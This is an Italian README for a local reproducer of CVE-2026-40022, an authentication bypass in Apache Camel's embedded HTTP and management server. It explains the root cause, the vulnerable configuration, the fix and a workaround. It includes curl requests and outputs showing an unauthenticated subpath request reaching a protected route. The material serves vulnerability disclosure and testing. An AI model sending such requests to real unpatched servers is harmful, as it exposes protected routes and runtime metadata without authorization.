
Reproducer per CVE-2026-40022: bypass dell'autenticazione di Apache Camel camel-platform-http-main su percorsi di contesto non root
Questo progetto dimostra un bypass dell'autenticazione nel componente camel-platform-http-main
di Apache Camel (il server HTTP / di gestione integrato del runtime main di Camel), tracciato come
CVE-2026-40022. Quando l'autenticazione è abilitata e viene configurato un context path non-root
(ad es. /api o /admin), l'handler di autenticazione copre solo l'esatto context path, quindi le
richieste non autenticate verso sottopercorsi raggiungono rotte protette ed endpoint di gestione.
Advisory: https://camel.apache.org/security/CVE-2026-40022.html
| Proprietà | Valore |
|---|---|
| Componente | camel-platform-http-main (server HTTP/di gestione integrato del runtime Camel main) |
| Classi interessate | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| Causa principale | Quando authenticationPath non è impostato, viene derivato da camel.server.path; con il modello di mount del sub-router Vert.x, l'handler di auth corrisponde solo all'esatto context path, non ai suoi sottopercorsi |
| CWE | CWE-287: Autenticazione impropria (bypass dell'autenticazione) |
| Impatto | Accesso non autenticato a rotte di business protette ed endpoint di gestione (ad es. divulgazione di metadati runtime /observe/info) |
| Versioni interessate | Dalla 4.14.1 precedente alla 4.14.6, e dalla 4.15.0 precedente alla 4.18.2 |
| Versioni corrette | 4.14.6, 4.18.2, 4.20.0 |
| Segnalatore | Jihang Yu |
| PR | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) |
BasicAuthenticationConfigurer (e JWTAuthenticationConfigurer) risolvono il percorso che l'handler di auth
protegge partendo da properties.getAuthenticationPath(), ricadendo su properties.getPath() (il
context path camel.server.path) quando non è impostato esplicitamente:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
Il server Vert.x monta un sub-router su <contextPath>* e registra l'handler di auth all'interno
di quel sub-router al percorso risolto. Nelle versioni interessate il percorso risolto è il context path
stesso, quindi — rispetto al sub-router già montato su /api — l'handler di auth finisce per corrispondere
a /api/api anziché a ogni sottopercorso. Di conseguenza:
/api/api viene sfidato (401) — l'handler è presente, solo con scope errato/api/hello (la vera rotta di business) non viene sfidato → servito senza credenzialiLa correzione fa sì che resolveAuthenticationPath restituisca /*, così l'handler copre tutti i
sottopercorsi del sub-router.
application.properties — un context path non-root con auth abilitata e authenticationPath non impostato:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
La rotta è servita su /api/hello.
Non è richiesto alcun servizio esterno o container Docker — il server HTTP vulnerabile è l'app stessa.
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
Il BasicAuthHandler è attivo — ma con scope errato sull'esatto context path.
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (questa è una rotta di business PROTETTA)
Su una versione corretta (4.14.6 / 4.18.2 / 4.20.0) restituisce 401 Unauthorized.
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
Lo stesso difetto si applica al server di gestione (camel.management.path, ad es. /admin). Una
richiesta non autenticata a un sottopercorso come /admin/observe/info raggiunge l'endpoint di gestione,
che può divulgare metadati runtime: utente del sistema operativo, directory di lavoro/home, ID del
processo, informazioni su JVM e sistema operativo.
camel-platform-http-main.camel.server.path / camel.management.path).camel.server.authenticationPath / camel.management.authenticationPath non impostati esplicitamente.Aggiornare a 4.14.6 / 4.18.2 / 4.20.0. La correzione (resolveAuthenticationPath) fa sì che l'handler
di auth copra ogni sottopercorso:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // prima: l'esatto context path
}
Fino all'aggiornamento:
camel.server.authenticationPath = /* (e camel.management.authenticationPath = /*)
così l'handler copre tutti i sottopercorsi.CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Punto di ingresso del runtime Camel main
│ └── HelloRoute.java # una rotta platform-http protetta (/api/hello)
└── resources/
├── application.properties # path non-root + auth abilitata (la configurazione vulnerabile)
└── auth.properties # utente basic-auth (camel / propertiesPass)
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non usarlo contro sistemi senza autorizzazione esplicita.